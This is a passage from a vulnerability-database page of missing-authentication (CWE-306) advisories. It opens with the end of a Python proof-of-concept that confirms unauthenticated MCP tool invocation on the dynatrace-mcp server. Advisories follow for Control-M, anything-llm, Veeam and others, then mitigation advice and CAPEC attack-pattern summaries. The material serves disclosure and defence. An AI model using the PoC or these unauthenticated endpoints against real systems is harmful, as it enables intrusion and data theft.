Successfully\u0027 contains\")\n        print(\"[conclusion] VULN-001 confirmed: --http textfrom without authentication tools/call execute possible\")\n        sys.exit(0)\n\n    # jsonrpc result parse attempt\n    for line in raw_response.split(\"\\n\"):\n        line = line.strip()\n        if line.startswith(\"data:\") or line.startswith(\"{\"):\n            try:\n                data_str = line[5:].strip() if line.startswith(\"data:\") else line\n                data = json.loads(data_str)\n                if \"result\" in data:\n                    print(\"[PASS] JSON-RPC result received - without authentication tool call success\")\n                    print(f\"[evidence] {json.dumps(data, ensure_ascii=False)}\")\n                    sys.exit(0)\n                if \"error\" in data:\n                    err = data[\"error\"]\n                    print(f\"[INFO] JSON-RPC error response: code={err.get(\u0027code\u0027)}, message={err.get(\u0027message\u0027)}\")\n            except json.JSONDecodeError:\n                pass\n\n    print(\"[INCOMPLETE] expected response patterntext text text.\")\n    print(\"[text] above response raw texttext check this.\")\n    sys.exit(3)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-p7w7-4929-vpj5",
  "modified": "2026-07-31T16:05:57Z",
  "published": "2026-07-31T16:05:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/security/advisories/GHSA-p7w7-4929-vpj5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/pull/536"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/commit/8f12972481e9165e8bd24d63b0a9e71976f85a43"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/releases/tag/v2.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation"
}

GHSA-P7WW-WJH2-G3GW

Vulnerability from github – Published: 2025-11-05 09:30 – Updated: 2025-11-05 09:30
VLAI
Details

The Control-M/Agent is vulnerable to unauthenticated remote code execution, arbitrary file read and write and similar unauthorized actions when mutual SSL/TLS authentication is not enabled (i.e. in the default configuration).

NOTE: The vendor believes that this vulnerability only occurs when documented security best practices are not followed. BMC has always strongly recommended to use security best practices such as configuring SSL/TLS between Control-M Server and Agent.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-55108"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-05T09:15:32Z",
    "severity": "CRITICAL"
  },
  "details": "The Control-M/Agent is vulnerable to unauthenticated remote code execution, arbitrary file read and write and similar unauthorized actions when mutual SSL/TLS authentication is not enabled (i.e. in the default configuration).\n\n\nNOTE: The vendor believes that this vulnerability only occurs when documented security best practices are not followed. BMC has always strongly recommended to use security best practices such as configuring SSL/TLS between Control-M Server and Agent.",
  "id": "GHSA-p7ww-wjh2-g3gw",
  "modified": "2025-11-05T09:30:26Z",
  "published": "2025-11-05T09:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55108"
    },
    {
      "type": "WEB",
      "url": "https://bmcapps.my.site.com/casemgmt/sc_KnowledgeArticle?sfdcid=000441962"
    },
    {
      "type": "WEB",
      "url": "https://bmcapps.my.site.com/casemgmt/sc_KnowledgeArticle?sfdcid=000442099"
    },
    {
      "type": "WEB",
      "url": "https://bmcapps.my.site.com/casemgmt/sc_KnowledgeArticle?sfdcid=000442271"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P7X3-M8GR-5HQM

Vulnerability from github – Published: 2022-05-03 00:00 – Updated: 2022-05-03 00:00
VLAI
Details

Multiple Version of TRUMPF TruTops products expose a service function without necessary authentication. Execution of this function may result in unauthorized access to change of data or disruption of the whole service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-1300"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-02T12:16:00Z",
    "severity": "CRITICAL"
  },
  "details": "Multiple Version of TRUMPF TruTops products expose a service function without necessary authentication. Execution of this function may result in unauthorized access to change of data or disruption of the whole service.",
  "id": "GHSA-p7x3-m8gr-5hqm",
  "modified": "2022-05-03T00:00:43Z",
  "published": "2022-05-03T00:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1300"
    },
    {
      "type": "WEB",
      "url": "https://cert.vde.com/en/advisories/VDE-2022-016"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P868-P9PJ-FVMR

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

In version 1.5.5 of mintplex-labs/anything-llm, the /setup-complete API endpoint allows unauthorized users to access sensitive system settings. The data returned by the currentSettings function includes sensitive information such as API keys for search engines, which can be exploited by attackers to steal these keys and cause loss of user assets.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-6842"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:33Z",
    "severity": "HIGH"
  },
  "details": "In version 1.5.5 of mintplex-labs/anything-llm, the `/setup-complete` API endpoint allows unauthorized users to access sensitive system settings. The data returned by the `currentSettings` function includes sensitive information such as API keys for search engines, which can be exploited by attackers to steal these keys and cause loss of user assets.",
  "id": "GHSA-p868-p9pj-fvmr",
  "modified": "2025-03-20T12:32:45Z",
  "published": "2025-03-20T12:32:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6842"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mintplex-labs/anything-llm/commit/8b1ceb30c159cf3a10efa16275bc6849d84e4ea8"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/cd911fc7-ac6b-4974-acd0-9cc926fa8d9e"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P88F-4H3C-M2RM

Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-07-08 15:31
VLAI
Details

Missing Authentication for Critical Function vulnerability in RTI Connext Professional (Security Plugins) allows Fake the Source of Data.This issue affects Connext Professional: from 7.4.0 before 7.7.0, from 7.0.0 before 7.3.1.3, from 6.1.0 before 6.1., from 6.0.0 before 6.0., from 5.3.0 before 5.3.*.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-2675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T18:17:42Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authentication for Critical Function vulnerability in RTI Connext Professional (Security Plugins) allows Fake the Source of Data.This issue affects Connext Professional: from 7.4.0 before 7.7.0, from 7.0.0 before 7.3.1.3, from 6.1.0 before 6.1.*, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.*.",
  "id": "GHSA-p88f-4h3c-m2rm",
  "modified": "2026-07-08T15:31:38Z",
  "published": "2026-06-17T18:35:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2675"
    },
    {
      "type": "WEB",
      "url": "https://www.rti.com/vulnerabilities/#cve-2026-2675"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P88R-78HC-WHHF

Vulnerability from github – Published: 2026-08-04 18:31 – Updated: 2026-08-04 18:31
VLAI
Details

A vulnerability in Veeam Service Provider Console allowing an unauthenticated attacker to access the proxied appliance API asPortal Administrator during a short window after an administrator session begins.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-58071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-04T17:16:56Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in Veeam Service Provider Console allowing an unauthenticated attacker to access the proxied appliance API asPortal Administrator during a short window after an administrator session begins.",
  "id": "GHSA-p88r-78hc-whhf",
  "modified": "2026-08-04T18:31:28Z",
  "published": "2026-08-04T18:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58071"
    },
    {
      "type": "WEB",
      "url": "https://www.veeam.com/kb4893"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P8VM-372W-HVGF

Vulnerability from github – Published: 2026-01-16 06:30 – Updated: 2026-01-16 06:30
VLAI
Details

Statistics Database System developed by Gotac has a Missing Authentication vulnerability, allowing unauthenticated remote attackers to directly exploit a specific functionality to query database contents.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1023"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-16T04:15:49Z",
    "severity": "HIGH"
  },
  "details": "Statistics Database System developed by Gotac has a Missing Authentication vulnerability, allowing unauthenticated remote attackers to directly exploit a specific functionality to query database contents.",
  "id": "GHSA-p8vm-372w-hvgf",
  "modified": "2026-01-16T06:30:15Z",
  "published": "2026-01-16T06:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1023"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10640-0fd0b-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10639-813ad-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.